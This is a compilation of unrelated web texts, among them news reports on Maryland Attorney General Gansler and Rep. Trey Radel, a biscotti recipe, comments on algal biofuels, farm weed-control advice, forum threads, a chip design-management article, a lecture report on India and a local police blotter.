"The picture being painted by these documents is not an accurate reflection of reality," said Gansler, a former Montgomery County state's attorney who was first elected attorney general in 2006. "I deeply respect the troopers and job they do protecting me and the public. A few of the 18 troopers who have provided me protection felt my backseat driving made them uncomfortable — for that I apologize."Gansler's spokesperson claims this started in 2011, when Gansler felt he was being handed off "second-tier troopers" by Ardolini. Ardolini claims it goes back to 2008 when Gansler was apparently irritated that the governor had troops assigned to him while Gansler did not. (A spokesman for the Maryland State Police chimed in with a statement that there's no such thing as "second-tier troopers," a win for trooper morale if nothing else.)
Whether this report provides the entire picture of Gansler's behavior is somewhat open to debate. But all Gansler has really offered in defense is "someone's out to get me" and the not-on-the-record statements of two troopers (out of the 18 assigned to Gansler so far) that portray the AG as a pleasure to work with and a stickler for obeying the law.
The document release couldn't have come at a worse time for Gansler, seeing as it came right as Gansler announced his running mate for his run for governor. The current governor has already endorsed Gansler's opponent and has instructed the state police to take whatever action they feel is appropriate, including revoking the AG's access to the protective duty. The timing may be suspect, but it's highly unlikely Ardolini would be working towards cutting off service to a person a majority of troopers liked working with. Rather, it looks as though more than five years of abuse has caught up with Gansler, and Ardolini's no longer interested in having his troopers serve as enablers for a wanna-be cop who seemingly breaks rules just to break rules.
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"Biscotti", what a lovely name!, and I thought I could never make them, they *sounded* way too exotic, but all thanks to Vera I have a jar sitting on the table, all crisp, nutty and sweet and I just love them!
I took some to work and the reaction was unbelievable, everyone said that they tasted just like the one's you would get at the bakery, I was so happy and proud.This will definitely be my favorite baked goodie for all times :).
I decided to make a small quantity first with the ingredients I had, and then once I had got the hang of it, bake larger quantities, I also sliced one log diagonally and one into straight slices, which resulted in smaller biscotti.
To make these you require (adapted from here)-
(makes 8 large ones and about 20 small bite size one's)
- Sugar-1/2 cup
- Butter(salted)-60 gms
- All purpose flour-1 and 1/4 cup
- Baking powder-3/4 tsp
- Orange flower water/Orange flavor- a few drops
- Pure vanilla essence-1/2 tsp
- Almonds-a handful
- Raisins-a handful
- Egg-1
- Zest of 1 orange.
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- Kevin Baldridge 16:49, 18 March 2013 (EDT):What are you referring to with "photosynthetic efficiency"? You say sugarcane is the best, but algae actually have more energy per mass. So what is the final product which you are comparing, simple sugars which can be converted to alcoholic biofuels?
- Gabriel Wu 17:12, 18 March 2013 (EDT): Agreed. You're comparing sugar content in corn and sugarcane to lipid production in algae, but you compare them directly. This could use some further clarification.
- Catherine I. Mortensen 16:57, 18 March 2013 (EDT): Is it possible to somehow use chlorella that already exists in the ocean to produce fuel?
- Aurko Dasgupta 17:42, 18 March 2013 (EDT): I doubt that ocean algae consistently grows in a concentration high enough to justify the energy required to power the extraction. They're also wild, so they're not as optimized for any specific feature of biofuel production.
- Gabriel Wu 17:17, 18 March 2013 (EDT): Can you cover a little more of the molecular biology? How are algae actually genetically engineered to improve lipid content? Which pathways are targeted and is there heterologous expression of genes to optimize these pathways?
- Max E. Rubinson 11:25, 21 March 2013 (EDT): I think maybe you should also include a discussion of how strains with truncated light-harvesting antenna are engineered? This paper describes how the Melis lab generated strains of green algae that exhibit a truncated Chl antenna.
- Jeffrey E. Barrick 22:53, 20 March 2013 (EDT):People often mention "red tide" when talking about algal biofuels. A possible danger of growing large vats of algae is that they may produce toxic compounds. Did you encounter that in any of the articles?
- Yunle Huang 10:04, 21 March 2013 (EDT):How are the biofuels actually collected? Are the cells just lysed, or is there an extraction method that keeps the cells alive?
- Dwight Tyler Fields 12:59, 21 March 2013 (EDT):You might also want to include a "Future of Algal Biofuels" section that gives current scientific opinion on the future viability of the field. I'm finding a mostly negative outlook, ex: [1]


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Rock the Farm, an annual concert and fund-raiser for the Wounded Warrior Project, will take place under a tent at Ocean View Farm in Amagansett on July 21 starting at 6 p.m., rain or shine. Steel Pulse, Grammy winners, will play reggae, and Chris Campion, indie rocker and frontman of Knockout Drops, will open the show, backed by Billy Ryan, the guitarist for the Bogmen.
An open bar and "all-American barbecue" are included with the $125 ticket price. To be held on the evening after Soldier Ride the Hamptons, the event is open to those over the age of 21. Tickets are available through stephentalkhouse.com.


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Celebrating illustration, design, cartoon and comic art of the mid-20th century.
Monday, April 24, 2006
Ernest Chiriaka
I always have a link in my sidebar to Dan Zimmer's Illustration magazine, but this week I really need to highlight this great publication because Dan has kindly given me permission to except the Chiriaka article from the 8th issue of Illustration (which you can still order!) written by Norm Saunders' son, David. Many thanks to Dan and I encourage everyone to consider getting a subscription to Illustration ( especially if you have a birthday coming up soon and your wife's not sure what to get you - are you reading this, Wendy? ;-)
The following text is © 2003 David Saunders:
Ernest Chiriacka was born Anastassios Kyriakakos in New York City on May 11, 1913, and lived at 42 Madison Street on the Lower East Side. To imagine the living conditions of this ghetto at the turn of the century, look at the heart-breaking photo-essay by Jacob Riis, "How the Other Half Lives," which revealed the astonishing hardships of children growing up in these shamefully squalid tenement buildings. His parents, Portia and Herakles Kyriakakos, had emigrated from the mountain village of Xero Cambi in the Sparta region of Greece in 1907. Herakles was an educated young man who had studied to be a Greek Orthodox abbot, but could not adjust to the harsh reality of the bustling slums of New York, where the only jobs for a non-lingual immigrant were unskilled menial labor. Although Hercules performed his 12 heroic labors, Herakles refused to lower himself to work as a dishwasher, shoeshiner, or push-cart laborer. He changed his name to "Harry Chiriacka," but made no further effort to become an American or learn English, and he fell into the languid despair of drink. Fortunately, his wife Portia was an industrious person who raised six children, supervising their public school educations as well as their attendance in Greek school to learn their native culture and language. Anastassios was their third child. He was called "Tasso" for short, which is pronounced "dah-so," and is transliterated as "Darcy."
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Oh bah-ruh-ther!ReplyDelete
Okay, okay. I get the message.
I'll be returning the new weed whacker now.
Ernest Chriaka was my grandfather's brother. Many of us have pieces of his art work - I have a painting hanging on my living room wall.ReplyDelete
Hello Ernest Chiriaka was my grandfathers brother as well. My grandfather is George. My father has a few of his paintings as well.ReplyDelete
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When the real-estate bubble burst, some of the hardest-hit markets were sunny destinations. That means there are some serious bargains out there for vacation homes.
"A lot of those markets — Florida, Nevada, Arizona and even some markets in California — were also foreclosure hot spots and overbuilt, so there are home bargains galore in those areas, many of which are actually newer housing stock," said Tara-Nicholle Nelson, consumer educator for real-estate site Trulia.com.
Home prices rose temporarily in 2009 and 2010 due to the homebuyer tax credits offered by the federal government, but since they expired, prices have gone back down and are now where they were in about 2003, Nelson said.
So where are some of the best deals? Trulia crunched the numbers, starting with AAA's list of the top vacation destinations and then calculatedthe decline, in percent terms, of home prices in those markets from the peak in the second quarter of 2006 through the fourth quarter of 2010, the most recent data available. And when Nelson said there were bargains galore, she wasn't kidding: The decline in home prices on this list ranges from 31 percent to 55 percent.
Here are the top 10 places to buy a vacation home in the United States.
By Cindy Perman
Posted 11 March 2011
Source: Trulia.com


text: Make Your Weeds Queasy July 26, 2013 10:00 PM Tweet Missouri farmer Ryan Britt recently adopted no-till and manages weed seedbanks using different chemistries and modes of action, as well as cover crops. © Nate Birt TAGS: Marketing, Overseas December 18, 2014 By Nate Birt Top Producer Managing Editor Email Targeting seedbanks limits spread, protects yields Farmers who have left weeds unattended in a field know that what happens next is akin to leaving two rabbits alone in a hutch. The problem is, the devastating consequences for a field are anything but cute and fuzzy. "The ground turns purple" with weeds, says Larry Steckel, University of Tennessee Extension weed scientist. "You can actually see it driving by." Weed seeds are remarkably resilient and a bane for farmers. Traditionally, research indicates that species such as pigweed and waterhemp can remain viable beneath the soil surface for four or five years, explains Kevin Bradley, University of Missouri Extension weed scientist. Weeds such as morningglory are viable for decades. Those weed seeds not only live a long time, but they are also prolific. One waterhemp plant can produce 250,000 seeds on average, while Palmer pigweed routinely produces 500,000. Use all available tools. A good plan is essential for managing weed seeds. Bob Kochendofer, who farms 1,100 acres of corn and soybeans near Jonesville, Mich., uses a pull-type Hardi sprayer with 90' booms to spray for chickweeds and other weeds in the fall. He then disks all of his soybean ground and pulls a packer over it at the same time in the spring. In the fall, he chops cornstalks to keep weed seeds in line. "I figure you tear it up, and what weeds are stronger, you've got them tilled under again," Kochendofer says. He uses a post-emergence herbicide in the spring once the soybeans are up. "There's not one tool that's going to cure all my problems," says Ryan Britt, who farms 5,000 acres of corn, soybeans, wheat, pasture, hay and cattle with his family near Salisbury, Mo. With no-till, he manages weeds using herbicides, including residuals, with unique modes of action. Experts say farmers should sandbag weed seedbanks using tillage, natural predators, herbicide schedules with overlapping residuals, cover crops and even hand-weeding. As resistant weeds expand their footprint, a single approach is hazardous. Deep tillage works by pushing weed seeds away from their comfort zone. Pigweeds germinate less than a ½" below the soil surface, while giant ragweed and cocklebur germinate between 2" and 3" deep, explains Aaron Hager, University of Illinois Extension weed scientist. Machinery can bury seed between 10" and 12" into the soil profile, limiting their access to conditions that make germination easy, Bradley adds. Fields where deep tillage has been used are no-tilled the following year to avoid churning seeds back up. At the same time, growers should realize that deep tillage might only delay the weed-seed problem, says Adam Davis, ecologist, USDA–Agricultural Research Service Global Change and Photosynthesis Research Unit. His research shows that seeds kept within 2" of the soil surface disappear more quickly than first thought. Common lambsquarters and velvetleaf—once believed to have half-lives of 15 years—can decline by 50% in approximately two years. The same is true for waterhemp. "You could actually master [fields] in seven years, tops," Davis says. Find the trouble spots. Rather than using machinery to bury the problem, Davis says, existing equipment can remove weed seeds for good. Weed patches can be mapped at harvest so combines don't cut through them. Afterward, they can be burned down or chopped with an aftermarket combine product that damages weed seeds, reducing their viability. Birds, worms and microbes can remove up to 95% of shed weed seeds, so farmers should wait at least four weeks after harvest before deep-tilling. To complement machinery, farmers in southern Illinois and southern Iowa apply overlapping residual herbicides. A burndown with two or three active ingredients can be applied before corn or soybean planting, followed by a second application after emergence, Bradley says. About five or six chemicals are labeled for that use pattern. Many Southern growers also perform post-harvest weed control, spraying a burndown herbicide plus the residual promoxin. On average, they spend about $20 per acre on post-harvest herbicides, Steckel notes. Herbicide costs continue to rise, from roughly $30 per acre back when Roundup controlled Palmer amaranth to more than $60 per acre today, he says. Hand-weeding in the South happens on 50% of cotton fields and 15% of soybean fields, pushing costs to as much as $100 per acre. As farm operator for the newly launched Chariton County, Mo., Soil Health Research and Demonstration Project, Britt also has an interest in cover crops. For example, cereal rye is toxic to waterhemp, Britt says, and planting into cover crops prevents sunlight from penetrating into the weeds below. He recently planted cover crop mixes on seven fields to learn how those plants affect weed seedbanks and more on no-till land. Over time, data will be compared to that from tilled land with no cover crops. Ultimately, farmers should purge weed seeds with a big-picture outlook. "I'm almost more concerned about soil health than I am resistant weeds," Britt notes. You can e-mail Nate Birt at email@example.com. For more weed seedbank management tips from the experts, including 12 best practices for resistant weeds, visit www.FarmJournal.com/weed_seedbanks. You can also view a graphic about the cost of weed seeds by Monsanto. Back to news


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WASHINGTON — Florida Republican Rep. Henry "Trey" Radel pleaded guilty Wednesday to a misdemeanor charge of cocaine possession and was sentenced to a year's probation.
"I've hit a bottom where I realize I need help," Radel told District of Columbia Superior Court Judge Robert Tignor in acknowledging that he purchased 3.5 grams of cocaine from an undercover agent.
A Drug Enforcement Administration official said Radel bought cocaine in a Washington, D.C., neighborhood on Oct. 29. Later that night, federal authorities went to his apartment and informed him that he would be facing criminal charges. The charges were made public Tuesday, and Radel expressed regret in a statement.
The 37-year-old lawmaker said he struggles with alcoholism and will seek treatment and counseling. Radel made no mention of his political future but says he had made an "extremely irresponsible choice" and let down his family and his constituents.
"I want to come out of this stronger," Radel said in court, later adding that he wants to "continue serving this country."
The DEA official, who spoke on the condition of anonymity because he was not authorized to release details of the case in his own name, said Radel was identified to authorities as a cocaine buyer by his suspected dealer. The dealer had been arrested previously as part of a separate drug investigation led by a federal task force.
"In facing this charge, I realize the disappointment my family, friends and constituents must feel. Believe me, I am disappointed in myself, and I stand ready to face the consequences of my actions," Radel said in a statement.
"However, this unfortunate event does have a positive side. It offers me an opportunity to seek treatment and counseling," he added. "I know I have a problem and will do whatever is necessary to overcome it, hopefully setting an example for others struggling with this disease."
The cocaine possession charge, a misdemeanor, carries a statutory maximum of six months in prison and a fine of $1,000. Radel appears to be the first sitting member of Congress charged with a drug offense since former Rep. Frederick Richmond, D-N.Y., was convicted in 1982 on charges of tax evasion and drug possession.
A spokesman for House Speaker John Boehner, R-Ohio, said the allegations are a matter for the courts.
"Beyond that, this is between Rep. Radel, his family and his constituents," Boehner spokesman Michael Steel said.
Radel was elected in 2012 to represent Florida's 19th Congressional District, which includes the Gulf Coast communities of Fort Myers and Naples. He was a radio host before becoming a congressman. He identifies himself on his Twitter profile as a "Hip Hop conservative" and "lover of #liberty," and his Twitter account has remained active in the past few weeks, including on the day of the bust.
Among the bills he's co-sponsored during his freshman term is legislation to amend the country's mandatory minimum drug sentencing laws.
Florida Republican Party Chairman Lenny Curry said he was disappointed in Radel but glad that he was seeking help.
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About Rob R.
CwF + RtB for me? Fail. Just for your statistics on your experiment.
You are the weakest link. Goodbye.
For accuracy, why don't you guys rename this site "CopyrightDirt" or "IPDirt". I was hoping there would really be some technology related content posted from time to time, but alas that does not seem to happen. Just because it's about music that may have a digital version doesn't mean that should be the focus of a site called TechDirt. Just my opinion, so if you want to flame me, stifle it.
If there turns out to be some actual tech-related things posted I'll be happy. Otherwise I'll just delete this shortcut and move on. I'm hoping to see some good techstuff soon.
Well, if they had named their band something more original than "Bandana" they may have ranked better for searches related to their band. That's like naming a band "Jeans" or "Hat" and being upset when something pops up that doesn't relate to the band.
People seriously need to get a grip.
Not at all. I said I liked it. Me. Myself. Not Irene, just me.
Fortunately for Apple, there are enough people that also like it as I do that they now have the hottest smartphone on the market.
Oh. My. God.
You bash something for having a security flaw and then say you are aligned with the one piece of software with the most security flaws in it?
Ya, I wanna listen to your opinion.
Then YOU don't buy them. Calling me an idiot because I don't agree makes you the idiot. I bought mine and will buy more because I like it.
No more is required. I like the damn thing! I paid MY money and bought MY device that I LIKE. Fuck you for calling me names because I have another preference.
If you don't like it, then buy something else - and I won't call you a name for liking something other than what I like.
Narrow minded prick.
Another thing that frequently gets overlooked by all of the fanboys on both sides: I freakin like it!
Maybe your phone does something a little more effeciently than mine. Maybe yours has a few ergs more speed. Maybe mine has more apps. And I like it.
Maybe I pay my money for what trips MY trigger. I like it enough that out of all the devices out there, I LIKE IT BEST. That's the final decision right there. Your Porche might be faster than my HHR, but what if I just really love the HHR? Or, what if the F-150 is what gets me wet? I can't outrun your car, but I could carry it up the hill. And I like it.
In most of the countries of the world people are allowed to purchase the device that they prefer. Even in Communist China the people can purchase whatever device their hearts desire so long as it is in their market. Because they like it.
Sorry for the rant, I just get so tired of all the people that bash me for liking something as if my not agreeing with their tastes makes me dumb or something.
Because I like it!
Dumber and Dumberer. The courts need to see what a farce they are with rulings like this. Sheer idiocy brought on by places that are bought and paid for by either the recording or movie industry.
How long until people come to their senses and begin the boycott? Hitting their pocketbooks is the only way they will ever see.
How will that be enforced? That is the question. If there are no assets in the Netherlands, how to they think they will enforce this decision? That's as if they ruled that I had to pay. I'd cheerfully flip them the bird and laugh as I walked off to ignore them.
Damn, forgot to sign in to claim copyright on my new cheer.
I say this because with google voice you can make any call that you make an incoming call.
Umm, what? Even if this was an actual sentence, there would still be no logic here. What does free incoming calls (or the lack of) have to do with Google Voice not being allowed on the iPhone?
If you have not bought an iPhone, then why are you whining? I have an iPhone, as do many of my friends. Know how many of us are going to get rid of our iPhones because of this? NONE. Know how many of us will get the next iPhone? ALL of us.
Know why we love it so much? Because things are controlled at Apple and what they release just works. All the way back to the Mac Color Classic I have over in the corner that still works and we still play games on that have worked for over 20 years.
Call me a fanboy if you want - I am a fan. I will continue to be a fan so long as they keep producing things that beat Microsoft with an ugly stick as they have been. I also will keep buying Apple products and using them very happily. 2 iPods and an iPhone in my household? Damn straight. Know how many Zunes or Palms? None. Not a damn one. No problems, either.
So yes, blame Apple for not allowing an app that would overload the cellular network of the carrier and make nincompoops whine that they need a better network. Whine because you don't have a phone that does everything and costs nothing. Whine more. Come on, whine!
Going 15 MPH under the limit is a hazard to other drivers. Regardless of "should be" or "well they ought to" this is reality. People drive at or just over the speed limit and people that drive under it cause accidents because the morons that speed also don't pay attention. Yes, they "should be" going slower and "ought to" pay attention and slow down - but they don't. And they won't. So going slow is a hazard.
I applaud them for publishing the well written (by 15 year old standards) of an intern about the things he knows well - his and his friend's habits. It's an article written by a kid about kids. If you're expecting top-notch research and perfect logic flow, then you expect a bit much from a lad. If you look at this as it is from a teen's point of view, then he's a lucky little SOB for not only getting published but also for grabbing international attention from it.
Stop overanalyzing and just accept that Morgan Stanley was trying to encourage the youth that is the next generation to develop some skills and this was an excellent start for him.
Other than WoW, most of the teens I know from my kids and their friends to my friend's kids all play console games. Most of them also play WoW, but that's about all on the computer. Everything else they do is on consoles, so this is on par with my social circle as well.
Actually, it sounds exactly like a 15 year old that is lucky enough to be able to do an internship at a place like Morgan Stanley. Clearly there is no fact checking lacking and it was an interesting read.
Should we allow people to murder...a cut of it back?
I know this wasn't intentional, but I thought it was an interesting choice of words. : )
That would be the silver lining, but this is definitely still the cloud. Tromping more and more on the rights and liberties of citizens must stop. Let us not forget that this is how the Civil War began. Not from copyright zealots, but from normal people getting fed up with how the leadership of their home area were out for naught but themselves and their liberties and freedoms were slowly eaten away. I have friends that I admit are extremists, but they are already predicting CW2. I don't think we need to add fuel to the fire.
I meant to link it: Foxtrot
I like how Bill Amend does it in his comic strip Foxtrot. He reverses letters in the name. He'll say Toridos for chips, and Verlon for makeup, an iFruit for iMac and things like that. Perhaps the TV industry needs to follow suit and make up a ton of fake logos and companies for all of the series to draw from. I'd bet after a few months of doing that, Google statistics would see those terms searched for quite a bit - showing that the real companies are losing that much revenue from the exposure loss.


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It appears as though Apple's iPod nano G1 replacement program is now sending out current model iPod nano's instead of refurbished originals.
Some users initially reported receiving their replacements quickly but the process slowed substantially over the last few weeks and a backlog built up. Now appears as though Apple is using current models to speed up the process.
So,if you're in the replacement program, have you received any word on your iPod yet?
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Before you heard about them in Kanye West's songs, Moet et Chandon sparkling wines were drinks reserved for French kings, Russian tzars and Napoleon I himself. For as long as it's been around -- since 1743 to be exact -- Moet has been the drink of the rich and famous. But the truth is, this luxury brand makes just as many low-grade bottlings as it does prestige cuvees. Its production is nothing short of enormous, totaling about 26,000,000 bottles per year. How, you ask? Moet owns over 1000 hectares of vines in Champagne and employs several thousand workers. Of course, no one wants to hear about the regular stuff. It's the Dom Pèrignon we care about.
Named for the Benedictine monk who perfected the double-fermentation for creating champagne, Dom P, as it's affectionately called, is remarkably suave, consistent and age worthy, particularly for a luxury bottling made in large quantities -- about 5,000,000 bottles per vintage made from 60% Chardonnay and 40% Pinot Noir. On the business side, Moet et Chandon merged with cognac producer Jas Hennessy & Co. in 1971 and then with Louis Vuitton to create the largest luxury group in the world -- Moët Hennessy.
On another note, one of the première locations in France to buy Moet et Chandon, amongst other wines, is the le bon marché (the Good Store), the most exclusive department store in Paris, where you can find a massive range of wine.
Moet et Chandon is considered to be a revolutionary champagne that outclasses many other alcoholic beverages due to popularity alone. These include popular choices such as many Canadian whiskies, India Pale Ale, Cheval Blanc, Chandon Brut Imperial, Irish whiskey, Scotch whiskey, American whiskey, Japanese whiskey and Scotch whiskey.
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I just wanted to see how many different kinds of people we got going on this site :D
Just give a holler and let everyone know what area you represent!
I'm from Brampton, but for the sake of simplicity I'll say Toronto! WOO!
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Westfield, PA. Northcentral part of the state.
I'm living in Sedalia, Missouri. I have 2 of the most religious neighbors in the world. One set will not even look in our direction. This drives my hubby insane. The other is overly friendly. If you get a chance to live here... DON'T!
I have two bat shit crazy pentecostals with a block of me. When I go by her house she tells me god is calling me. I told her I changed phone numbers and he does not know it. Some god, huh ?
Lucky here in Mooroopna, Victoria, Australia.
All my street are of no religion.
The only religious conversations around here are when somebody has a death in the family in the street and the Holy Obituary Vultures (Jehova Witnesses) do the entire street, pretending that they aren't just targetting the moarning victim(s), but all of us in the street know they are because they are SOOO Obvious.
Lilithabi, my experience with xianity persuaded me that it makes people dependent and weak. Becoming stronger made possible my departure from religion.
Methinks the neighbors who won't look in your direction are protecting themselves from your strength.
I don't "should" on myself or others; I hope your hubby can see sanity in his response to those neighbors.
So True, Tom.
Independence has many strengths that sheep (followers of others and religion) who require leadership from others are afraid of. It threatens and highlights their delusion of stability.
When free thinking, strong people are near, they sense the weakness of their own insecurities and need for subservience to others or their belief system.
I actually enjoy having such people near, because I'm an "IN YOUR FACE" kind of bloke who would likely look for ways to prank and stir them. LOL!
Yes, the Jehovah Witnesses now keep a wide birth of my place, they consider me the devil incarnate, especially after the things I taught a group of their children about their own religion.
I used to read all their literature, so they thought I was close to becoming a believer and they were silly enough to leave me in charge of a group of their kids while they harassed their intended victim who had just lost her father a few days prior. I fed back to them all the mistakes I had found in their literature and they soaked it up like sponges, agreeing with much that I had stated.
A few days later I was walking down the shopping center when some of those children were approaching with their father, they called out to me smiling and waving, to which their father quickly grabbed them and literally dragged them over to the other side of the road. I've never had a visit from them since! :D :D
That was a laugh! :D :D
Greetings from New Hampshire, home of the Free State movement. We have "Live Free or Die" on our license plates, and do we ever love our firearms!
Is anyone planning on attending the atheist convention in March in Austin, Texas ? I have a room booked and would not be adverse to splitting the cost of the room. I don't expect women to reply so men only please. Send me an email at email@example.com if you are interested. I would have to know somewhat in advance to have another bed assigned to the room.
Dee-troit Michigan, USA!
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Many companies are discovering a design management platform that works across all types of SoC flows AMS or digital, single or multi-site without requiring designers to abandon their familiar tools. Describing just such an approach, ClioSoft delivered a presentation at #DAC53 entitled: Managing AMS Designs for Successful Tapeouts. I spent a few minutes with Karim Khalfan, ClioSofts Director of Applications Engineering, for a bit more detail on their view of issues in AMS design management and how their SOS7 platform handles them.
Weve all heard the old adage that some variant of data is good, but information is better. In any AMS design environment, there are many different user roles: circuit designers, physical implementation specialists, verification engineers, architects, project managers, and more. Some are very concerned with details, while others are just interested in reviewing progress or addressing specific IP or integration issues. Users have different tools, generating data in different formats in different directory structures.
Design teams work in real-time, sharing data and making changes to both individual IP blocks and integration-level constructs, with handoffs from person to person as needed. Verification teams try to keep up with modified testbenches delivering coverage as designs change. Every time a block is modified, design constraints including layout, power, and timing need to be verified again. A design change that improves one area may impact other areas adversely, triggering a system-level search through change history. Geographic dispersal can complicate collaboration further.
Unmanaged, SoC development can descend into chaos. To quickly reuse and successfully integrate IP blocks, a complete metadata stack with design, test, and versioning data has to be more than just visible - it has to be organized. Khalfan understated things when he opened with this:
Lots of times, teams just dont organize their data.
Unless theres an expert in ontology in the house, with a keen understanding of what data is needed for what role at what point in the design flow, data organization is best left to those with collaboration experience somebody like ClioSoft with their SOS7 platform. Khalfan says that experience suggests a starting point for a repository using a structure that isnt imposed for advanced users who can modify it, but one that gets most teams up and running in a managed platform.
With such a large number of varied roles and different types of data, organizing design data according to the designer role makes sense. Using SOS7, users can easily populate their workspace with a read-only version of the necessary files from the repository (often linked to a local cache). This enables the owners of design data to continue working without concern that other users may check out files into their workspaces. Every user manages data they own, while collaborating efficiently across the entire project.
Another aspect of design management is IP block tagging. This enables complex design methodologies to be implemented efficiently using appropriate handshake protocols. As designs evolve, their status is tagged allowing focused effort. A typical analog flow would involve a design team creating schematics and working on them until finalized and tagged as design_done; a layout engineer working with a transistor-level view would similarly proceed until layout_done.
Schematics and layout versions are associated with each other through a custom attribute in SOS7. Access control is enforced so limited access is provided for some groups and only authorized users can modify files. Once a stable version of the design has been completely verified and tagged, the rel2syn (release to synthesis) label can be used as a trigger for synthesis runs, either fully automated or as a prompt to a synthesis team for scheduling.
Since SOS7 is integrated with most analog design tools, designers can manage their work within the familiar confines of their favorite tool. For example, a screenshot shows the ClioSoft SOS7 Design Manager embedded in Cadence Virtuoso:
Khalfan points out ClioSoft also has a Visual Design Diff tool that quickly translates revision history to a highlighted representation of additions, removals, and property changes allowing multiple designers working on the same area of a design to quickly see what the other team members did. SOS eliminates a lot of the guess work on what has changed, what has been verified, and what is ready to go to the foundry for tapeout, he said.
ClioSoft SOS provides non-intrusive, non-side-railed design management needed for distributed AMS design teams. Its a refreshing change from homegrown repository organization efforts that dont tackle the whole problem. By adding workspace control, tagging, and association, designer productivity is improved considerably. When someone picks up a piece of IP, a section of a design, or the whole thing, its state is immediately understood, reducing wasted efforts and assuring that folks are working on the right version of the design.


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by Our National Correspondent in Ottawa
INDIA's galloping national economy has made its people so impatient that growth under seven per cent a year could have a deeply de-stabilizing impact for the country, a well-respected Indian editor, Shekhar Gupta, told an audience of academics and South Asia watchers in Ottawa Tuesday.
Comparing such a slow-growth scenario to "falling off a treadmill," Gupta noted that consistent progress over the last 25 years of economic reform (since 1991) has raised expectations and created high aspirations among the country's 1.2 billion people.
"For Indians to be really happy, 8.5 to 9 per cent growth would be ideal," he suggested.
Based on his extensive travels for a variety of news organizations, the veteran journalist said Indians are "leapfrogging" across social and wealth divides in both villages and cities.
He senses a "churn" in his country, driven by three realities – a smartphone in the hands of all Indians, widespread use of motorbikes to travel and cheap college education.
Argumentative democracy
This has resulted in social and economic mobility, but most importantly, widespread literacy programs have empowered the people to make India "an argumentative democracy".
"Democratic politics is meant to be competitive. The voters can throw you out if you don't perform," he pointed out, adding that this is exactly what's happening in most of India today.
In both states (similar to provinces in Canada) and at the federal level, leaders who deliver on economic growth have won re-election, sometimes several times over. The reverse is also true. Over the last quarter-century, politics has become "meritocratic," accompanied by the rather unusual trend of rising voter participation – unlike most other democracies.
Continuing his decidedly optimistic take on Indian affairs, the television host and newspaper columnist sees the media business also being a growth industry – again, unlike most other democracies. He pointed to his own start-up enterprise, The Print, as indicative of an industry that is still hiring journalists.
He repeatedly referred to a "value chain" along which Indian citizens climb the rungs, including in the area of language. Typically, in his view, it begins with a vernacular mother tongue, then learning Hindi and then eventually, English.
Modi phenomenon
Gupta was delivering the annual Dhahan lecture organized by the Canada – India Centre for Excellence at Carleton University, on the theme "India in transition".
He generally gave high marks to Prime Minister Narendra Modi for instilling pride in Indians and his ability to impress audiences wherever he goes – both at home and abroad. "Modi has made India the most selfie crazed nation in the world."
The Modi government suffers from "an intellectual deficit," in Gupta's opinion, but has proven good at project implementation. "It's a government in a hurry."
However, Modi has also swung India to the socio-religious right – not the economic right – and harped on nationalism. This nationalism combined with national pride could prove to be a "double-edged sword," Gupta warned, pointing out that politics in India is not divided over economic policy differences, but rather over what it means to be a secular country.
The last 25 years has seen a move away from an almost-agnostic national ethos to a muscular nationalism that appeals to the Hindu majority population. "This will be the ideological and philosophical point of argument in the years to come," Gupta forecast.
Dangerous cocktail
Anil Varughese, a South Asia expert at Carleton, who was among those who heard Gupta, offered this assessment: "Gupta's lecture was a splendid testament to his wide-ranging knowledge of India and the remarkable complexity and richness of Indian democracy. In a tour de force, he captured the chief drivers of fast-paced change in contemporary India.
"His basic premise was that consistent high economic growth combined with easier access to information has spawned far-reaching transformations to India's politics, society and culture, making its people impatient for change.
"His most valuable insight, I thought, was his remark that to understand changing India, one needs to 'read the wall' (the billboards). While his optimism for a more aspirational and assertive India was palpable, his caution against the dangerous cocktail of high economic growth and brazen peddling of nationalistic pride was prescient."
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Thomas and Donna Saucier of Vohlander St., Warwick, announce the engagement of their son, Jefferson Saucier, to Laura Lussier, daughter of Lawrence and Lori Lussier of Lincoln.
The bride-to-be is a graduate of Bryant University. She is employed by Hanover Insurance.
The groom-to-be is a graduate of Universal Technical Institute. He is employed by Anchor Subaru.
The couple were set up on a blind date by Laura's cousin and Jeff's best friend. They became engaged May 20 at Jeff's 25th birthday in front of family and friends. They are planning a December 1, 2013 wedding.


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Nov. 14. 100 block W. Willow Grove Avenue. Complainant states that an unknown person entered her unlocked 2004 Mitsubishi and stole an E-Z Pass.
No. 18. Unit block E. Chestnut Hill Avenue. Complainant states that an unknown person stole a black bag containing a white Apple MacBook laptop, car keys, house keys, business cards, notepads and a charger. Reported at 1:01 p.m.
Nov. 8600 block Seminole Ave. Between 6:36 and 11:15 p.m., an unknown person entered home. Complainant noticed storm window to first floor master bedroom was pushed up. Point of entry was unclear.
Summary — Three crimes for week: one burglary, one theft, and one theft from vehicle.
Town Watch.
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|The Changes Made by Facebook
That means if your contact email was your personal email account, it's no longer visible on your Timeline. It's still there, but it's hidden and the visible email is your firstname.lastname@example.com
Now maybe you don't care. But if you want others to contact you at your personal email you will need to switch back to what you had. Also some tests done this morning and last night by concerned inviduals are indicating that Facebook's email system is flawed. Some messages are getting in and some are getting out but it's flaky.
My own tests this morning showed two messages I sent from two different gmail accounts did end up in my Facebook messages area and one I sent out to a gmail account arrived. That's not a very good test but I was only mildly curious as I have no intention of using Facebook's email system!
To change your contact email back, go to your Profile page, click ABOUT and scroll down to where you'll see your new facebook.com addy. Click EDIT then HIDE the facebook addy from Timeline, and make your old one VISIBLE on Timeline. Then SAVE your changes.
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